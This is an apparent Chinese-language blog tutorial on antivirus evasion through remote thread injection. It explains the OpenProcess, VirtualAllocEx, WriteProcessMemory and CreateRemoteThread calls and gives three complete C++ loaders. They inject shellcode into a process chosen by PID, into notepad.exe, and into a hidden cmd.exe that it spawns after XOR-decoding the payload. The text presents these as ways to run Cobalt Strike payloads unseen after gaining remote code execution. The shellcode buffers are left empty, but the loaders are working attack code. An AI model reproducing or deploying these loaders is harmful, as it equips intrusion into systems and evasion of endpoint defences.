免杀基础之远程线程注入

前言

本文主要参考

https://fengwenhua.top/index.php/archives/65/,其中最终代码参考https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/中的high level API。

远程线程中执行shellcode

shellcode代码与地址无关,理论上将shellcode放入任意程序中给它一个起点就可以执行,因此考虑将shellcode注入到其他进程中以起到隐蔽执行的目的,可以考虑注入到经常进行网络连接的进程中以起到更好的隐蔽效果。

流程与函数介绍

VirtualAllocEx()

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址,一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节为单位,通常是shellcode大小
DWORD flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
DWORD flProtect // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行
);

VirtualAllocEx()用于在指定进程开辟内存空间,所需参数主要为进程的handler,所以需要使用OpenProcess函数获取。

OpenProcess()

1
2
3
4
5
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
BOOL bInheritHandle, // 是否继承句柄,一般不
DWORD dwProcessId // 进程标识符,即受害者进程的PID
);

使用OpenProcess获取进程的handler,需要知道进程的PID。

假设知道了进程的PID,那么应该如何将shellcode拷贝进去?之前简单的加载器用的是memcpy方法拷贝shellcode,但是因为我们要写入的是进程的内存区域,所以需要用WriteProcessMemory函数

WriteProcessMemory()

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess, // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
LPVOID lpBaseAddress, // 要写入的数据的首地址,VirtualAllocEx的返回值
LPCVOID lpBuffer, // 指向要写的数据的指针,该指针必须是const指针,即shellcode
SIZE_T nSize, // 要写入的字节数,shellcode大小
SIZE_T *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL
);

将shellcode写入内存后,需要调用一下,调用方法为CreateRemoteThread()

CreateRemoteThread()

CreateRemoteThread是一个Windows API函数,它能够创建一个在其它进程地址空间中运行的线程

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess, // 线程所属进程的进程句柄,即OpenProcess返回的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性,通常为NULL
SIZE_T dwStackSize, // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
LPVOID lpParameter, // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
DWORD dwCreationFlags, // 线程的创建标志,通常为0,即线程创建后立即运行
LPDWORD lpThreadId // 指向所创建线程ID的指针,通常为NULL
);

将shellcode注入到notepad.exe中(已知pid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
unsigned char buf[] = "";


HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;

printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);

return 0;
}

image-20220115153615536

image-20220115153558970

image-20220115153755016

可以看到shellcode已经被注入到notepad.exe了,并且与CS teamserver建立了网络连接,但是这样不是太方便,需要先知道进程的pid,所以该代码还需要改进。

将shellcode注入到指定进程中(未知pid)

代码如下,但是该方法存在一个问题,注入的权限要求有点大,我试了试注入其他进程(Windows自带的)失败了(管理员权限可以随便注入),所以该方法适用于可以RCE的时候,先打开一个notepad然后进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
#pragma comment(linker, "/section:.data,RWE")
#include <Windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include<stdio.h>
int main(int argc, char* argv[])
{
HANDLE hProcessSnap;
HANDLE processHandle;
PROCESSENTRY32 pe32;
DWORD pid = 0;

// 获取系统中所有进程的快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
CloseHandle(hProcessSnap);
exit(-1);
}
// 使用之前要先设置大小
pe32.dwSize = sizeof(PROCESSENTRY32);
// 查看第一个进程
BOOL bRet = Process32First(hProcessSnap, &pe32);
if (!bRet)
{
exit(-2);
}
while (bRet)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {//注入到notepad.exe进程中
pid = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
// 获取进程句柄
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 清理
CloseHandle(hProcessSnap);

//远程线程注入部分
unsigned char buf[] = "";
HANDLE remoteThread;
PVOID remoteBuffer;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);

return 0;
}

image-20220115163605656

image-20220115163943913当权限为管理员的时候,可以注入任意进程。上面的cmd框是正常用户权限启动的cmd,下面是run as admin。

新建进程并注入shellcode

上面的方法只能注入到现有进程,并且存在权限问题,实用性较低,现考虑新建进程并远程线程注入shellcode.

注意,下面的代码被杀穿了,还不如shellcode直接加载的效果好,因为注入本来就不是正常操作,不加shellcode上传vt也有13个报毒,仅学习思想。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
#pragma comment(linker, "/section:.data,RWE")
#include <Windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <iostream>
#include<stdio.h>
int main(int argc, char* argv[])
{
HANDLE processHandle;
PROCESSENTRY32 pe32;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
//配置startup info,隐藏新启动的进程窗口
si.cb = sizeof(si);
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpDesktop = NULL;
si.lpTitle = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.cbReserved2 = NULL;
si.lpReserved2 = NULL;


LPCWSTR cmd;
cmd = L"C:\\Windows\\System32\\cmd.exe";
if (!CreateProcess(
cmd, // Executable
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_NO_WINDOW, // Do Not Open a Window
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
)) {
DWORD errval = GetLastError();
std::cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize.
//远程线程注入部分
unsigned char buf[] = "";
for (int i = 0; i < sizeof(buf); i++)
{
buf[i] = buf[i] ^ 17;
}
HANDLE remoteThread;
PVOID remoteBuffer;
remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

return 0;
}